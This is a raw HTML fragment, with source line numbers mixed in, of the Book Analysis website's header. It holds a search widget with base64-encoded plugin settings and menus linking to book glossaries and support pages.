sticky-menu-no-transition mobile-header mobile-header-logo adthrive-disable-all no-sidebar nav-float-right separate-containers header-aligned-right dropdown-hover" itemtype="https://schema.org/WebPage" itemscope> 2018 <a class="screen-reader-text skip-link" href="#content" title="Skip to content">Skip to content</a> <header class="site-header has-inline-mobile-toggle" id="masthead" aria-label="Site" itemtype="https://schema.org/WPHeader" itemscope> 2019 <div class="inside-header grid-container"> 2020 <div class="site-logo"> 2021 <a href="https://bookanalysis.com/" rel="home"> 2022 <img fetchpriority="high" class="header-image is-logo-image" alt="Book Analysis" src="https://cdn.bookanalysis.com/wp-content/uploads/2022/09/BookAnalysisLogo-svg.svg" /> 2023 </a> 2024 </div><div class="custom-search-form"> 2025<div class="asp_w_container asp_w_container_3 asp_w_container_3_1" data-id="3"> 2026 <div class='asp_w asp_m asp_m_3 asp_m_3_1 wpdreams_asp_sc wpdreams_asp_sc-3 ajaxsearchpro asp_main_container asp_non_compact' 2027 data-id="3"
2028 data-name="Main search" 2029 data-instance="1" 2030 id='ajaxsearchpro3_1'> 2031 2032 <div class="probox"> 2033 2034 <div class='promagnifier' tabindex="101"> 2035 <div class='asp_text_button hiddend'> 2036 Search </div> 2037 <div class='innericon'> 2038 <svg xmlns="http://www.w3.org/2000/svg" width="22" height="22" viewBox="0 0 512 512"><path d="M460.355 421.59l-106.51-106.512c20.04-27.553 31.884-61.437 31.884-98.037C385.73 124.935 310.792 50 218.685 50c-92.106 0-167.04 74.934-167.04 167.04 0 92.107 74.935 167.042 167.04 167.042 34.912 0 67.352-10.773 94.184-29.158L419.945 462l40.41-40.41zM100.63 217.04c0-65.095 52.96-118.055 118.056-118.055 65.098 0 118.057 52.96 118.057 118.056 0 65.097-52.96 118.057-118.057 118.057-65.096 0-118.055-52.96-118.055-118.056z"/></svg> </div> 2039 <div class="asp_clear"></div> 2040 </div> 2041 2042 2043 2044 <div class='prosettings' style='display:none;' data-opened=0> 2045 <div class='innericon'> 2046 <svg xmlns="http://www.w3.org/2000/svg" width="22" height="22" viewBox="0 0 512 512"><polygon transform="rotate(90 256 256)" points="142.332,104.886 197.48,50 402.5,256 197.48,462 142.332,407.113 292.727,256"/></svg> </div> 2047 </div> 2048 2049 2050 2051 <div class='proinput'> 2052 <form action='#' autocomplete="off" aria-label="Search form 3"> 2053 <input type='search' class='orig' 2054 tabindex="100" 2055 placeholder='Search for a book or author' 2056 name='phrase' value='' 2057 aria-label="Search input 3" 2058 autocomplete="off"/> 2059 <input type='text' class='autocomplete' name='phrase' value='' 2060 aria-label="Search autocomplete, ignore please" 2061 aria-hidden="true" 2062 autocomplete="off" disabled/> 2063 <input type='submit' 2064 aria-hidden="true" 2065 aria-label="Hidden button" 2066 style='width:0; height: 0; visibility: hidden;'> 2067 </form> 2068 </div> 2069 2070 2071 2072 <div class='proloading'> 2073 <div class="asp_loader"> 2074 <div class="asp_loader-inner asp_simple-circle"> 2075 </div> 2076 </div> 2077 </div> 2078 2079 <div class='proclose'> 2080 <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" 2081 y="0px" 2082 width="512px" height="512px" viewBox="0 0 512 512" enable-background="new 0 0 512 512" 2083 xml:space="preserve"> 2084 <polygon points="438.393,374.595 319.757,255.977 438.378,137.348 374.595,73.607 255.995,192.225 137.375,73.622 73.607,137.352 192.246,255.983 73.622,374.625 137.352,438.393 256.002,319.734 374.652,438.378 "/> 2085 </svg> 2086 </div> 2087 2088 2089</div> </div> 2090 <div class='asp_data_container' style="display:none !important;"> 2091 <div class="asp_init_data" 2092 style="display:none !important;" 2093 id="asp_init_id_3_1" 2094 data-asp-id="3" 2095 data-asp-instance="1" 2096 data-aspdata="ew0KICAgICAgICAiaG9tZXVybCI6ICJodHRwczovL2Jvb2thbmFseXNpcy5jb20vIiwNCiAgICAJImlzX3Jlc3VsdHNfcGFnZSI6IDAsDQogICAgInJlc3VsdHN0eXBlIjogInZlcnRpY2FsIiwNCiAgICAicmVzdWx0c3Bvc2l0aW9uIjogImhvdmVyIiwNCiAgICAicmVzdWx0c1NuYXBUbyI6ICJsZWZ0IiwNCiAgICAicmVzdWx0cyI6IHsNCiAgICAgICAgIndpZHRoIjogImF1dG8iLA0KICAgICAgICAid2lkdGhfdGFibGV0IjogImF1dG8iLA0KICAgICAgICAid2lkdGhfcGhvbmUiOiAiYXV0byINCiAgICB9LA0KICAgICJpdGVtc2NvdW50IjogMywNCiAgICAiY2hhcmNvdW50IjogIDAsDQogICAgImhpZ2hsaWdodCI6IDAsDQogICAgImhpZ2hsaWdodFdob2xld29yZHMiOiAxLA0KICAgICJzaW5nbGVIaWdobGlnaHQiOiAwLA0KICAgICJzY3JvbGxUb1Jlc3VsdHMiOiB7DQogICAgICAgICJlbmFibGVkIjogMCwNCiAgICAgICAgIm9mZnNldCI6IDAgICAgfSwNCiAgICAiYXV0b2NvbXBsZXRlIjogew0KICAgICAgICAiZW5hYmxlZCI6IDEsDQoJCSJ0cmlnZ2VyX2NoYXJjb3VudCI6IDAsDQogICAgICAgICJnb29nbGVPbmx5IjogMSwNCiAgICAgICAgImxhbmciOiAiZW4iLA0KICAgICAgICAibW9iaWxlIjogMSAgICB9LA0KICAgICJ0cmlnZ2VyIjogew0KICAgICAgICAiZGVsYXkiOiAzMDAsDQogICAgICAgICJhdXRvY29tcGxldGVfZGVsYXkiOiAzMTAsDQogICAgICAgICJ1cGRhdGVfaHJlZiI6IDAsDQogICAgICAgICJmYWNldCI6IDEsDQogICAgICAgICJ0eXBlIjogMSwNCiAgICAgICAgImNsaWNrIjogImFqYXhfc2VhcmNoIiwNCiAgICAgICAgImNsaWNrX2xvY2F0aW9uIjogInNhbWUiLA0KICAgICAgICAicmV0dXJuIjogImFqYXhfc2VhcmNoIiwNCiAgICAgICAgInJldHVybl9sb2NhdGlvbiI6ICJzYW1lIiwNCiAgICAgICAgInJlZGlyZWN0X3VybCI6ICI/cz17cGhyYXNlfSIsDQogICAgICAgICJlbGVtZW50b3JfdXJsIjogImh0dHBzOi8vYm9va2FuYWx5c2lzLmNvbS8/YXNwX2xzPXtwaHJhc2V9Ig0KICAgIH0sDQogICAgIm92ZXJyaWRld3BkZWZhdWx0IjogMSwNCiAgICAib3ZlcnJpZGVfbWV0aG9kIjogImdldCIsDQogICAgInNldHRpbmdzIjogew0KICAgICAgICAiaGlkZUNoaWxkcmVuIjogMCAgICB9LA0KICAgICJzZXR0aW5nc2ltYWdlcG9zIjogInJpZ2h0IiwNCiAgICAic2V0dGluZ3NWaXN
2096pYmxlIjogMCwNCiAgICAic2V0dGluZ3NIaWRlT25SZXMiOiAwLA0KICAgICJwcmVzY29udGFpbmVyaGVpZ2h0IjogIjQwMHB4IiwNCiAgICAiY2xvc2VPbkRvY0NsaWNrIjogMSwNCiAgICAiZm9jdXNPblBhZ2Vsb2FkIjogMCwNCiAgICAiaXNvdG9waWMiOiB7DQogICAgICAgICJpdGVtV2lkdGgiOiAiMjAwcHgiLA0KICAgICAgICAiaXRlbVdpZHRoVGFibGV0IjogIjIwMHB4IiwNCiAgICAgICAgIml0ZW1XaWR0aFBob25lIjogIjIwMHB4IiwNCiAgICAgICAgIml0ZW1IZWlnaHQiOiAiMjAwcHgiLA0KICAgICAgICAiaXRlbUhlaWdodFRhYmxldCI6ICIyMDBweCIsDQogICAgICAgICJpdGVtSGVpZ2h0UGhvbmUiOiAiMjAwcHgiLA0KICAgICAgICAicGFnaW5hdGlvbiI6IDEsDQogICAgICAgICJyb3dzIjogMiwNCiAgICAgICAgImd1dHRlciI6IDUsDQogICAgICAgICJzaG93T3ZlcmxheSI6IDEsDQogICAgICAgICJibHVyT3ZlcmxheSI6IDEsDQogICAgICAgICJoaWRlQ29udGVudCI6IDEgICAgfSwNCiAgICAibG9hZGVyTG9jYXRpb24iOiAiYXV0byIsDQogICAgInNob3dfbW9yZSI6IHsNCiAgICAgICAgImVuYWJsZWQiOiAwLA0KICAgICAgICAidXJsIjogIj9zPXtwaHJhc2V9IiwNCiAgICAgICAgImVsZW1lbnRvcl91cmwiOiAiaHR0cHM6Ly9ib29rYW5hbHlzaXMuY29tLz9hc3BfbHM9e3BocmFzZX0iLA0KICAgICAgICAiYWN0aW9uIjogImFqYXgiLA0KICAgICAgICAibG9jYXRpb24iOiAic2FtZSIsDQogICAgICAgICJpbmZpbml0ZSI6IDEgICAgfSwNCiAgICAibW9iaWxlIjogew0KICAgICAgICAidHJpZ2dlcl9vbl90eXBlIjogMSwNCiAgICAgICAgImNsaWNrX2FjdGlvbiI6ICJhamF4X3NlYXJjaCIsDQogICAgICAgICJyZXR1cm5fYWN0aW9uIjogImFqYXhfc2VhcmNoIiwNCiAgICAgICAgImNsaWNrX2FjdGlvbl9sb2NhdGlvbiI6ICJzYW1lIiwNCiAgICAgICAgInJldHVybl9hY3Rpb25fbG9jYXRpb24iOiAic2FtZSIsDQogICAgICAgICJyZWRpcmVjdF91cmwiOiAiP3M9e3BocmFzZX0iLA0KICAgICAgICAiZWxlbWVudG9yX3VybCI6ICJodHRwczovL2Jvb2thbmFseXNpcy5jb20vP2FzcF9scz17cGhyYXNlfSIsDQogICAgICAgICJtZW51X3NlbGVjdG9yIjogIiNtZW51LXRvZ2dsZSIsDQogICAgICAgICJoaWRlX2tleWJvYXJkIjogMSwNCiAgICAgICAgImZvcmNlX3Jlc19ob3ZlciI6IDAsDQogICAgICAgICJmb3JjZV9zZXR0X2hvdmVyIjogMCwNCiAgICAgICAgImZvcmNlX3NldHRfc3RhdGUiOiAibm9uZSINCiAgICB9LA0KICAgICJ
2096jb21wYWN0Ijogew0KICAgICAgICAiZW5hYmxlZCI6IDAsDQogICAgICAgICJmb2N1cyI6IDEsDQogICAgICAgICJ3aWR0aCI6ICIxMDAlIiwNCiAgICAgICAgIndpZHRoX3RhYmxldCI6ICI0ODBweCIsDQogICAgICAgICJ3aWR0aF9waG9uZSI6ICIzMjBweCIsDQogICAgICAgICJjbG9zZU9uTWFnbmlmaWVyIjogMSwNCiAgICAgICAgImNsb3NlT25Eb2N1bWVudCI6IDAsDQogICAgICAgICJwb3NpdGlvbiI6ICJzdGF0aWMiLA0KICAgICAgICAib3ZlcmxheSI6IDAgICAgfSwNCiAgICAic2IiOiB7DQogICAgICAgICJyZWRpcmVjdF9hY3Rpb24iOiAiYWpheF9zZWFyY2giLA0KICAgICAgICAicmVkaXJlY3RfbG9jYXRpb24iOiAic2FtZSIsDQogICAgICAgICJyZWRpcmVjdF91cmwiOiAiP3M9e3BocmFzZX0iLA0KICAgICAgICAiZWxlbWVudG9yX3VybCI6ICJodHRwczovL2Jvb2thbmFseXNpcy5jb20vP2FzcF9scz17cGhyYXNlfSINCiAgICB9LA0KICAgICJyYiI6IHsNCiAgICAgICAgImFjdGlvbiI6ICJub3RoaW5nIg0KICAgIH0sDQogICAgImFuaW1hdGlvbnMiOiB7DQogICAgICAgICJwYyI6IHsNCiAgICAgICAgICAgICJzZXR0aW5ncyI6IHsNCiAgICAgICAgICAgICAgICAiYW5pbSIgOiAiZmFkZWRyb3AiLA0KICAgICAgICAgICAgICAgICJkdXIiICA6IDMwMCAgICAgICAgICAgIH0sDQogICAgICAgICAgICAicmVzdWx0cyIgOiB7DQogICAgICAgICAgICAgICAgImFuaW0iIDogImZhZGVkcm9wIiwNCiAgICAgICAgICAgICAgICAiZHVyIiAgOiAzMDAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgIml0ZW1zIiA6ICJ2b2lkYW5pbSINCiAgICAgICAgfSwNCiAgICAgICAgIm1vYiI6IHsNCiAgICAgICAgICAgICJzZXR0aW5ncyI6IHsNCiAgICAgICAgICAgICAgICAiYW5pbSIgOiAiZmFkZWRyb3AiLA0KICAgICAgICAgICAgICAgICJkdXIiICA6IDMwMCAgICAgICAgICAgIH0sDQogICAgICAgICAgICAicmVzdWx0cyIgOiB7DQogICAgICAgICAgICAgICAgImFuaW0iIDogImZhZGVkcm9wIiwNCiAgICAgICAgICAgICAgICAiZHVyIiAgOiAzMDAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgIml0ZW1zIiA6ICJ2b2lkYW5pbSINCiAgICAgICAgfQ0KICAgIH0sDQogICAgInNlbGVjdDIiOiB7DQogICAgICAgICJub3JlcyI6ICJObyByZXN1bHRzIG1hdGNoIg0KICAgIH0sDQogICAgImRldGVjdFZpc2liaWxpdHkiIDogMCwNCiAgICAiYXV0b3AiOiB7DQogICAgICAgICJzdGF0ZSI6ICJkaXNhYmxlZCIsDQogICAgICAgICJwaHJhc2UiOiAiIiwNCiAgICAgICAgImNvdW50IjogMTAgICAgfSwNCiAgICAicmVzUGFnZSI6IHsNCiAgICAgICAgInVzZUFqYXgiOiAwLA0KICAgICAgICAic2VsZWN0b3IiOiAiI21haW4iLA0KICAgICAgICAidHJpZ2dlcl90eXBlIjogMSwNCiAgICAgICAgInRyaWdnZXJfZmFjZXQiOiAxLA0KICAgICAgICAidHJpZ2dlcl9tYWduaWZpZXIiOiAwLA0KICAgICAgICAidHJpZ2dlcl9yZXR1cm4iOiAwICAgIH0sDQogICAgImZzc19sYXlvdXQiOiAiZmxleCIsDQogICAgInNjcm9sbEJhciI6IHsNCiAgICAgICAgInZlcnRpY2FsIjogew0KICAgICAgICAgICAgImF1dG9IaWRlIjogMSAgICAgICAgfSwNCiAgICAgICAgImhvcml6b250YWwiOiB7DQogICAgICAgICAgICAiZW5hYmxlZCI6IDEsDQogICAgICAgICAgICAiYXV0b0hpZGUiOiAxICAgICAgICB9LA0KICAgICAgICAic2V0dGluZ3MiOiB7DQogICAgICAgICAgICAiYXV0b0hpZGUiOiAwICAgICAgICB9DQogICAgfSwNCgkiZGl2aSI6IHsNCgkJImJvZHljb21tZXJjZSI6IDAJfSwNCiAgICAicHJldmVudEJvZHlTY3JvbGwiOiAwLA0KICAgICJzdGF0aXN0aWNzIjogMX0NCg=="></div> 2097<div class='asp_hidden_data' style="display:none !important;"> 2098 <div class='asp_item_overlay'> 2099 <div class='asp_item_inner'> 2100 <svg xmlns="http://www.w3.org/2000/svg" width="22" height="22" viewBox="0 0 512 512"><path d="M448.225 394.243l-85.387-85.385c16.55-26.08 26.146-56.986 26.146-90.094 0-92.99-75.652-168.64-168.643-168.64-92.988 0-168.64 75.65-168.64 168.64s75.65 168.64 168.64 168.64c31.466 0 60.94-8.67 86.176-23.734l86.14 86.142c36.755 36.754 92.355-18.783 55.57-55.57zm-344.233-175.48c0-64.155 52.192-116.35 116.35-116.35s116.353 52.194 116.353 116.35S284.5 335.117 220.342 335.117s-116.35-52.196-116.35-116.352zm34.463-30.26c34.057-78.9 148.668-69.75 170.248 12.863-43.482-51.037-119.984-56.532-170.248-12.862z"/></svg> </div> 2101 </div> 2102</div> </div> 2103 <div id='__original__ajaxsearchprores3_1' class='asp_w asp_r asp_r_3 asp_r_3_1 vertical ajaxsearchpro wpdreams_asp_sc wpdreams_asp_sc-3' 2104 data-id="3" 2105 data-instance="1"> 2106 2107 2108 2109 2110 <div class="results"> 2111 2112 2113 <div class="resdrg"> 2114 </div> 2115 2116 2117 </div> 2118 2119 2120 2121 2122 2123 <div class="asp_res_loader hiddend"> 2124 <div class="asp_loader"> 2125 <div class="asp_loader-inner asp_simple-circle"> 2126 </div> 2127 </div> 2128 </div> 2129</div> <div id='__original__ajaxsearchprosettings3_1' 2130 class="asp_w asp_ss asp_ss_3 asp_s asp_s_3 asp_s_3_1 wpdreams_asp_sc wpdreams_asp_sc-3 ajaxsearchpro searchsettings" 2131 data-id="3" 2132 data-instance="1"> 2133 <form name='options' class="asp-fss-flex" autocomplete = 'off'> 2134 <input type="hidden" style="display:none;" name="current_page_id" value="59965"> 2135 <input type='hidden' name='qtranslate_lang' style="display:none;" 2136 value='0'/> 2137 <input type="hidden" name="filters_changed" style="display:none;
2137" value="0"> 2138 <input type="hidden" name="filters_initial" style="display:none;" value="1"> 2139 <fieldset class="asp_filter_generic asp_filter_id_1 asp_filter_n_0"> 2140 <legend>Generic filters</legend> 2141 <div class="asp_option"> 2142 <div class="asp_option_inner"> 2143 <input type="checkbox" value="exact" id="set_exact3_1" 2144 aria-label="Exact matches only" 2145 name="asp_gen[]" /> 2146 <label aria-hidden="true" 2147 for="set_exact3_1"> 2148 Hidden label </label> 2149 </div> 2150 <div class="asp_option_label"> 2151 Exact matches only </div> 2152</div> 2153 2154 <input type="checkbox" value="title" 2155 id="set_title3_1" 2156 style="display:none;" 2157 data-origvalue="1" name="asp_gen[]" checked="checked"/> 2158 2159 <input type="checkbox" value="content" 2160 id="set_content3_1" 2161 style="display:none;" 2162 data-origvalue="1" name="asp_gen[]" checked="checked"/> 2163 2164 <input type="checkbox" value="excerpt" 2165 id="set_excerpt3_1" 2166 style="display:none;" 2167 data-origvalue="1" name="asp_gen[]" checked="checked"/> 2168 </fieldset> <input type="checkbox" 2169 style="display: none !important;" 2170 value="glossary" 2171 aria-label="Hidden label" 2172 aria-hidden="true" 2173 id="3_1customset_3_1100" 2174 name="customset[]" checked="checked"/> 2175 <div style="clear:both;"></div> 2176</form> </div> 2177 2178 </div> 2179 2180</div> <nav class="main-navigation mobile-menu-control-wrapper" id="mobile-menu-control-wrapper" aria-label="Mobile Toggle"> 2181 <div class="menu-bar-items"> <span class="menu-bar-item"> 2182 <a href="#" role="button" aria-label="Open search" aria-haspopup="dialog" aria-controls="gp-search" data-gpmodal-trigger="gp-search"><span class="gp-icon icon-search"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path fill-rule="evenodd" clip-rule="evenodd" d="M208 48c-88.366 0-160 71.634-160 160s71.634 160 160 160 160-71.634 160-160S296.366 48 208 48zM0 208C0 93.125 93.125 0 208 0s208 93.125 208 208c0 48.741-16.765 93.566-44.843 129.024l133.826 134.018c9.366 9.379 9.355 24.575-.025 33.941-9.379 9.366-24.575 9.355-33.941-.025L337.238 370.987C301.747 399.167 256.839 416 208 416 93.125 416 0 322.875 0 208z" /></svg><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M71.029 71.029c9.373-9.372 24.569-9.372 33.942 0L256 222.059l151.029-151.03c9.373-9.372 24.569-9.372 33.942 0 9.372 9.373 9.372 24.569 0 33.942L289.941 256l151.03 151.029c9.372 9.373 9.372 24.569 0 33.942-9.373 9.372-24.569 9.372-33.942 0L256 289.941l-151.029 151.03c-9.373 9.372-24.569 9.372-33.942 0-9.372-9.373-9.372-24.569 0-33.942L222.059 256 71.029 104.971c-9.372-9.373-9.372-24.569 0-33.942z" /></svg></span></a> 2183 </span> 2184 </div> <button data-nav="site-navigation" class="menu-toggle" aria-controls="generate-slideout-menu" aria-expanded="false"> 2185 <span class="gp-icon icon-menu-bars"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M0 96c0-13.255 10.745-24 24-24h464c13.255 0 24 10.745 24 24s-10.745 24-24 24H24c-13.255 0-24-10.745-24-24zm0 160c0-13.255 10.745-24 24-24h464c13.255 0 24 10.745 24 24s-10.745 24-24 24H24c-13.255 0-24-10.745-24-24zm0 160c0-13.255 10.745-24 24-24h464c13.255 0 24 10.745 24 24s-10.745 24-24 24H24c-13.255 0-24-10.745-24-24z" /></svg><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M71.029 71.029c9.373-9.372 24.569-9.372 33.942 0L256 222.059l151.029-151.03c9.373-9.372 24.569-9.372 33.942 0 9.372 9.373 9.372 24.569 0 33.942L289.941 256l151.03 151.029c9.372 9.373 9.372 24.569 0 33.942-9.373 9.372-24.569 9.372-33.942 0L256 289.941l-151.029 151.03c-9.373 9.372-24.569 9.372-33.942 0-9.372-9.373-9.372-24.569 0-33.942L222.059 256 71.029 104.971c-9.372-9.373-9.372-24.569 0-33.942z" /></svg></span><span class="screen-reader-text">Menu</span> </button> 2186 </nav> 2187 <nav class="has-sticky-branding main-navigation has-menu-bar-items sub-menu
2187-right" id="site-navigation" aria-label="Primary" itemtype="https://schema.org/SiteNavigationElement" itemscope> 2188 <div class="inside-navigation grid-container"> 2189 <button class="menu-toggle" aria-controls="generate-slideout-menu" aria-expanded="false"> 2190 <span class="gp-icon icon-menu-bars"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M0 96c0-13.255 10.745-24 24-24h464c13.255 0 24 10.745 24 24s-10.745 24-24 24H24c-13.255 0-24-10.745-24-24zm0 160c0-13.255 10.745-24 24-24h464c13.255 0 24 10.745 24 24s-10.745 24-24 24H24c-13.255 0-24-10.745-24-24zm0 160c0-13.255 10.745-24 24-24h464c13.255 0 24 10.745 24 24s-10.745 24-24 24H24c-13.255 0-24-10.745-24-24z" /></svg><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M71.029 71.029c9.373-9.372 24.569-9.372 33.942 0L256 222.059l151.029-151.03c9.373-9.372 24.569-9.372 33.942 0 9.372 9.373 9.372 24.569 0 33.942L289.941 256l151.03 151.029c9.372 9.373 9.372 24.569 0 33.942-9.373 9.372-24.569 9.372-33.942 0L256 289.941l-151.029 151.03c-9.373 9.372-24.569 9.372-33.942 0-9.372-9.373-9.372-24.569 0-33.942L222.059 256 71.029 104.971c-9.372-9.373-9.372-24.569 0-33.942z" /></svg></span><span class="screen-reader-text">Menu</span> </button> 2191 <div id="primary-menu" class="main-nav"><ul id="menu-primary-menu" class=" menu sf-menu"><li id="menu-item-113805" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-113805"><a href="#">Explore<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 2192<ul class="sub-menu"> 2193 <li id="menu-item-1343" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-1343"><a href="https://bookanalysis.com/book-explorer/">Books</a></li> 2194 <li id="menu-item-57837" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57837"><a href="https://bookanalysis.com/author-explorer/">Authors</a></li> 2195 <li id="menu-item-116413" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-116413"><a href="https://bookanalysis.com/quiz/">Quizzes</a></li> 2196</ul> 2197</li> 2198<li id="menu-item-107973" class="open-left menu-icon-float-right menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-107973"><a>Glossary<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 2199<ul class="sub-menu"> 2200 <li id="menu-item-57711" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57711"><a href="https://bookanalysis.com/glossary/">Full Glossary</a></li> 2201 <li id="menu-item-57710" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57710"><a href="https://bookanalysis.com/1984/glossary/">1984</a></li> 2202 <li id="menu-item-57708" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57708"><a href="https://bookanalysis.com/dune/glossary/">
2202Dune</a></li> 2203 <li id="menu-item-57794" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57794"><a href="https://bookanalysis.com/game-of-thrones/glossary/">Game of Thrones</a></li> 2204 <li id="menu-item-57707" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57707"><a href="https://bookanalysis.com/harry-potter/glossary/">Harry Potter</a></li> 2205 <li id="menu-item-57709" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57709"><a href="https://bookanalysis.com/the-hunger-games/glossary/">The Hunger Games</a></li> 2206 <li id="menu-item-109059" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-109059"><a href="https://bookanalysis.com/lord-of-the-rings/glossary/">Lord of the Rings</a></li> 2207</ul> 2208</li> 2209<li id="menu-item-57715" class="open-left menu-icon-float-right menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-57715"><a>Support<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 2210<ul class="sub-menu"> 2211 <li id="menu-item-57714" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57714"><a href="https://bookanalysis.com/about/">About</a></li> 2212 <li id="menu-item-57712" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57712"><a href="https://bookanalysis.com/charity/">Charity</a></li> 2213 <li id="menu-item-57863" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57863"><a href="https://bookanalysis.com/contact/">Contact</a></li> 2214 <li id="menu-item-57713" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57713"><a href="https://bookanalysis.com/request-a-book/">Request a Book</a></li> 2215</ul> 2216</li> 2217<li id="menu-item-113726" class="login-main-nav gp-user-menu nmr-logged-out menu-item menu-item-type-custom menu-item-object-custom menu-item-113726"><a href="https://bookanalysis.com/login/">Sign in</a></li> 2218</ul></div><div class="menu-bar-items"> <span class="menu-bar-item"> 2219 <a href="#" role="button" aria-label="Open search" aria-haspopup="dialog" aria-controls="gp-search" data-gpmodal-trigger="gp-search"><span class="gp-icon icon-search"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path fill-rule="evenodd" clip-rule="evenodd" d="M208 48c-88.366 0-160 71.634-160 160s71.634 160 160 160 160-71.634 160-160S296.366 48 208 48zM0 208C0 93.125 93.125 0 208 0s208 93.125 208 208c0 48.741-16.765 93.566-44.843 129.024l133.826 134.018c9.366 9.379 9.355 24.575-.025 33.941-9.379 9.366-24.575 9.355-33.941-.025L337.238 370.987C301.747 399.167 256.839 416 208 416 93.125 416 0 322.875 0 208z" /></svg><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M71.029 71.029c9.373-9.372 24.569-9.372 33.942 0L256 222.059l151.029-151.03c9.373-9.372 24.569-9.372 33.942 0 9.372 9.373 9.372 24.569 0 33.942L289.941 256l151.03 151.029c9.372 9.373 9.372 24.569 0 33.942-9.373 9.372-24.569 9.372-33.942 0L256 289.941l-151.029 151.03c-9.373 9.372-24.569 9.372-33.942 0-9.372-9.373-9.372-24.569 0-33.942L222.059 256 71.029 104.971c-9.372-9.373-9.372-24.569 0-33.942z" /></svg></span></a> 2220 </span> 2221 </div> </div> 2222 </nav> 2223 </div> 2224 </header> 2225 <nav id="mobile-header" itemtype="https://schema.org/SiteNavigationElement" itemscope class="main-navigation mobile-header-navigation has-branding has-menu-bar-items"> 2226 <div class="inside-navigation grid-container grid-parent"> 2227 <div class="site-logo mobile-header-logo"> 2228 <a href="https://bookanalysis.com/" title="Book Analysis" rel="home"> 2229 <img src="https://cdn.bookanalysis.com/wp-content/uploads/2022/09/BookAnalysisLogo-svg.svg" alt="Book Analysis" class="is-logo-image" width="" height="" /> 2230 </a> 2231 </div> <button class="menu-toggle" aria-controls="mobile-menu" aria-expanded="false">
